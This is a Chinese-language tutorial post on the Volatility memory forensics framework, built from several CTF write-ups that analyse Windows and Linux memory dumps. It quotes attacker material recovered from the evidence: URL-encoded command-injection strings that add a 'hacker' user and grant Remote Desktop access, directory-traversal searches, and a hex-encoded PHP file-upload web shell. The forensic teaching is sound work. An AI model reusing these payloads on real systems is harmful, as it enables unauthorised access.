Volatility是一款开源内存取证框架,能够对导出的内存镜像进行分析,通过获取内核数据结构,使用插件获取内存的详细情况以及系统的运行状态。
工具以及附件下载,安装文章:
https://blog.csdn.net/qq_38603541/article/details/129244112链接:https://pan.baidu.com/s/1r0t5k4gFmiu12KHbZolKnA?pwd=6666
提取码:6666
---------------------
https://blog.csdn.net/weixin_44895005/article/details/123917324
----
https://blog.csdn.net/qq_38603541/article/details/129244112
系统基本信息(寻找profile)
查看进程
进程转储
-p是PID -D是转储路径
查看用户密码(hash值)
查看cmd进程
查找flag关键词
查找flag关键词&将文件传储
查看windows窗口程序
从注册表中提取LSA密钥信息
列出注册表信息
解析路径,看到主机名(system)
vol -f mem.vmem --profile=xxx -o 0xfaffafafafa printkey -K "ControlSet001xxxxxxSystemName"
查看进程树
查看某个进程的DLL
查看notepad文本
查看有关编辑控件
保存基于GDI窗口的伪截屏
查看剪贴板
查看IE浏览器历史记录
查看linux_bash命令
分析Linux系统中的进程和进程环境
查看linux系统的dmesg缓冲区中日志消息
检查Linux系统调用表是否被修改过
检测和分析内存中的恶意软件特征
Suspicion
1.系统基本信息(windows版)
发现profile为WinXPSP2X86。
2.查看进程
发现存在TrueCrypt.exe进程,TrueCrypt.exe是一款加密程序,所以猜测Suspicion是加密后的结果。
3.进程传储
4.使用**Elcomsoft(Elcomsoft Forensic Disk Decryptor,EFDD)**进行破解。
将解密后的内存文件进行挂载。
very-ez-dump
查看镜像信息,profile为Win7SP1x64
查看cmd执行的命令,发现添加了一个用户mumuzi,密码**(ljmmz)ovo**
查找一下flag关键词,发现flag.zip,转储下来。
将后缀改为zip并解压,密码(ljmmz)ovo
得到flag
[HDCTF] 你能发现什么蛛丝马迹
查看镜像信息:
搜索有关flag的文件信息并把他转储出来。
改名为flag.png发现是一个二维码。扫码得到一串密文。
查看windows的窗口程序。
提取内容:
利用foremost分离文件:
图片中有key和iv,得知是AES加密,解密得到flag。
key: Th1s_1s_K3y00000
iv: 1234567890123456
Ottoer CTF
General Info
Let’s start easy - whats the PC’s name and IP address?(让我们从简单的开始–电脑的名称和IP地址是什么?)
使用netscan
查看IP地址。
使用hivelist
查看注册表。
有system,进行查看。
一步步跟进。
跟着一直解析,最后看到主机名。
Play Time
Rick just loves to play some good old videogames. can you tell which game is he playing? whats the IP address of the server?(瑞克只是喜欢玩一些好的老式电子游戏,你能告诉他在玩哪个游戏吗?服务器的IP地址是什么?)
使用netscan
直接看到游戏名与IP。
Name Game
We know that the account was logged in to a channel called Lunar-3. what is the account name?(我们知道该账户登录了一个名为Lunar-3的频道。什么是账户名称?)
利用strings筛选结果。
Name Game 2
From a little research we found that the username of the logged on character is always after this signature: 0x64 0x??{6-8} 0x40 0x06 0x??{18} 0x5a 0x0c 0x00{2} What’s rick’s character’s name?(通过一点研究,我们发现,登录的字符的用户名总是在这个签名之后。0x64 0x??{6-8} 0x40 0x06 0x??{18} 0x5a 0x0c 0x00{2} 瑞克的角色叫什么名字?)
将LunarMS.exe
转储出来。
hexdump -C otto.vmem | grep "5a 0c 00" -A 3 -B 3
Silly Rick
Silly rick always forgets his email's password, so he uses a Stored Password Services online to store his password. He always copy and paste the password so he will not get it wrong. whats rick's email password? Silly rick总是忘记他的电子邮件密码,所以他使用在线存储密码服务来存储他的密码。他总是复制并粘贴密码,这样他就不会弄错了。rick的电子邮件密码是什么?
查看粘贴板:
Injector Blue Team Challenge
Category : Endpoint Forensics
What is the computer's name?
先要确定该内存的profile是什么。
------
确定为 VistaSP1x86
确定了profile是什么之后,题目要求找出计算机名称,我们可以通过查询注册表信息来获得计算机名称信息。
-----
查询到了SYSTEM信息,访问系统目录查找是否存在计算机名称
vol.py -f memdump.mem --profile=VistaSP1x86 -o 0x86226008 printkey
What is the Timezone of the compromised machine? Format: UTC+0 (no-space)
What was the first vulnerability the attacker was able to exploit?
但发现该windows存在httpd服务,查看浏览器历史命令是否存在可用信息
发现存在XSS注入命令.判断出了进行了XSS攻击
What is the OS build number?
vol.py -f memdump.mem --profile=VistaSP1x86 hivelist
Windows存储系统OS版本路径为HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersion
vol.py -f memdump.mem --profile=VistaSP1x86 printkey -o 0x87b55a20
----------
vol.py -f memdump.mem --profile=VistaSP1x86 printkey -o 0x87b55a20 -K "MicrosoftWindows NTCurrentVersion"
在最下面即可得到OS版本为6001
How many users are on the compromised machine?
What is the webserver package installed on the machine?
vol.py -f memdump.mem --profile=VistaSP1x86 printkey -o 0x87b55a20
What is the name of the vulnerable web app installed on the webserver?
Web服务器上安装的易受攻击的Web应用
因为是WEB应用所以查看access.log
----------------
vol.py -f memdump.mem --profile=VistaSP1x86 filescan | grep "access.log"
-----------------
将这些文件导出
vol.py -f memdump.mem --profile=VistaSP1x86 dumpfiles -Q 0x000000003efc5988,0x000000003efcd960,0x000000003fa87028,0x000000003fa87d68 -D ./
---------
使用cat命令将两个文件内容合并成access.log并查看日志
cat xxxxx.dat xxxx.vacb > access.log
What is the user agent used in the HTTP requests sent by the SQL injection attack tool?
利用 strings 命令合并两个文件和利用 cat 命令合并两个文件有一些区别。下面是它们的区别:
strings 命令:strings 命令用于从二进制文件中提取可打印的字符串。当你使用 strings 命令合并两个文件时,它会将两个文件的内容连接起来,并提取出其中的可打印字符串。这意味着合并后的文件将只包含字符串,而不会包含其他非字符串的二进制数据。
cat 命令:cat 命令用于连接文件并打印到标准输出。当你使用 cat 命令合并两个文件时,它会简单地将两个文件的内容连接起来,并将结果输出到标准输出。合并后的文件将包含两个文件的完整内容,包括其中的文本、二进制数据或其他任何内容。
总结来说,strings 命令合并文件时只提取可打印字符串,而 cat 命令合并文件时将完整地连接两个文件的内容。选择使用哪个命令取决于你需要合并的文件类型和你对结果的期望。如果你只对可打印字符串感兴趣,可以使用 strings 命令,否则,如果你需要完整地合并两个文件的内容,可以使用 cat 命令。
提到了SQL注入工具,可以想到是sqlmap
利用grep筛选一下结果
cat access.log | sort | cut -d " " 12-16 | grep sqlmap | head -n4
----
这条命令是对 access.log 文件进行处理,并按照一系列步骤过滤和输出信息。下面是每个命令的作用和意思的中文解释:
cat access.log:将 access.log 文件的内容输出到标准输出(屏幕)上。cat 是一个用于连接文件并打印到标准输出的命令。
sort:对输入进行排序。在这个命令中,它将按照默认设置(字典顺序)对输入进行排序。
cut -d " " -f 12-16:使用空格作为分隔符(-d " "),并提取第12到第16个字段(列)。cut 命令用于从输入的每一行中提取指定的字段或列。
grep sqlmap:在输入中搜索包含 "sqlmap" 的行,并将它们输出。grep 命令用于从输入中匹配指定的模式并输出匹配的行。
head -n4:取前4行。head 命令用于从输入中提取指定数量的行,默认情况下是前10行。
因此,这条命令的目的是从 access.log 文件中找到包含 "sqlmap" 的行,并将这些行按照一定的顺序输出到屏幕上,只显示前4行。
The attacker read multiple files through LFI vulnerability. One of them is related to network configuration. What is the filename?
本地文件包含 (LFI) 是一个漏洞,允许攻击者从文件系统中导航和读取文件。因此,我们可以 grep 处理任何看起来像目录遍历的内容(../)
----
这条命令对 access.log 文件进行处理,并按照一系列步骤过滤和输出信息。下面是每个命令的作用和意思的解释:
cat access.log:将 access.log 文件的内容输出到标准输出(屏幕)。cat 是一个用于连接文件并打印到标准输出的命令。
grep "../../../../":在输入中搜索包含字符串 "../../../../" 的行,并将它们输出。grep 命令用于从输入中匹配指定的模式并输出匹配的行。
cut -d " " -f 4-7:使用空格作为分隔符(-d " "),并提取第4到第7个字段(列)。cut 命令用于从输入的每一行中提取指定的字段或列。
sort:对输入进行排序。在这个命令中,它将按照默认设置(字典顺序)对输入进行排序。
uniq:去除重复的行。uniq 命令用于从输入中去除连续的重复行,只保留一个副本。
因此,这条命令的目的是从 access.log 文件中找到包含字符串 "../../../../" 的行,提取这些行的第4到第7个字段,并按照字典顺序对它们进行排序,并去除连续的重复行。最终结果将被输出到屏幕上。
The attacker tried to update some firewall rules using netsh command. Provide the value of the type parameter in the executed command?
----------
vol.py -f memdump.mem --profile=VistaSP1x86 consoles | grep "netsh firewall"
How many users were added by the attacker?
-----
这里只看到了一个用户,查询大佬wp得知,还存在另一个用户。
-----
共创建了两个用户
When did the attacker create the first user?
----
路径 SAMDomainsAccountUsersNames 是 Windows 操作系统中的一个关键路径,它存储了本地计算机上的用户账户的名称信息。
具体来说,SAMDomainsAccountUsersNames 路径下的文件包含了本地计算机上已创建的用户账户的名称和相关信息,例如账户的显示名称、登录名称、SID(安全标识符)等。
这些信息对于用户身份识别和授权非常重要。在用户登录时,操作系统会使用这些名称信息来验证用户的身份,并为其分配相应的访问权限。
需要注意的是,SAMDomainsAccountUsersNames 中的文件是操作系统保护的系统文件,普通用户无法直接访问或修改。只有操作系统和授权的系统管理员才能访问和管理这些文件。
总结来说,SAMDomainsAccountUsersNames 路径存储了本地计算机上用户账户的名称信息,这些信息用于用户身份验证和授权访问,但对于一般用户来说,访问和修改这些文件是受限制的。
----
Domains是域
What is the NThash of the user's password set by the attacker?
查看用户的hash值
What is The MITRE ID corresponding to the technique used to keep persistence?
The attacker used Command Injection to add user "hacker" to the "Remote Desktop Users" Group. Provide the IP address that was part of the executed command?
(攻击者使用命令注入将用户“hacker”添加到“远程桌面用户”组。是否提供已执行命令的IP地址?)
└─# cat cmd.dmp | grep "hacker"
Zp6.102+%26%26+net+user+hacker+hacker+/add&submit=submit
ip=192.168.56.102+%26%26+net+localgroup+%22Remote+Desktop+Users%22+hacker+%2Fadd&submit=submit$
hackerLo
The attacker uploaded a simple command shell through file upload vulnerability. Provide the name of the URL parameter used to execute commands?
攻击者通过文件上传漏洞上传了一个简单的命令shell。是否提供用于执行命令的URL参数的名称?
cat access.log | cut -d " " -f 4-8 | grep "?[A-Za-z]*="
The attacker dropped a shellcode through SQLi vulnerability. The shellcode was checking for a specific version of PHP. Provide the PHP version number?
-------------
将这个十六进制数转换为字符串
--------------
echo '3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d5c5c78616d70705c5c6874646f63735c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a' | xxd -r -p
Hide And Seek
The reason that we took rick’s PC memory dump is because there was a malware infection. Please find the malware process name (including the extension)(我们提取瑞克的电脑内存转储的原因是有一个恶意软件感染。请找到恶意软件的进程名称(包括扩展名)
查看进程树,发现一个异常进程,PPID比PID还大(在 Linux 上,通常情况下,父进程的进程ID(PPID)会比子进程的进程ID(PID)要小。这是因为在大多数情况下,子进程是由父进程创建的。)
查看一下这个进程的DLL,发现程序是在temp目录下执行的,那这个应该就是恶意软件进程了。
Path To Glory
Continue the search after the the way that malware got in.(在恶意软件进入后继续搜索。)
先将所有的chrome进程转储下来。
(memdump -n 是一个命令,用于将特定进程的内存转储到文件中。-n 选项允许您指定要转储的进程的名称或PID(进程ID))
搜索download.exe.torren。
https://bbs.kanxue.com/user-home-901421.htm
原文始发于微信公众号(乌雲安全):一款开源内存取证框架
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论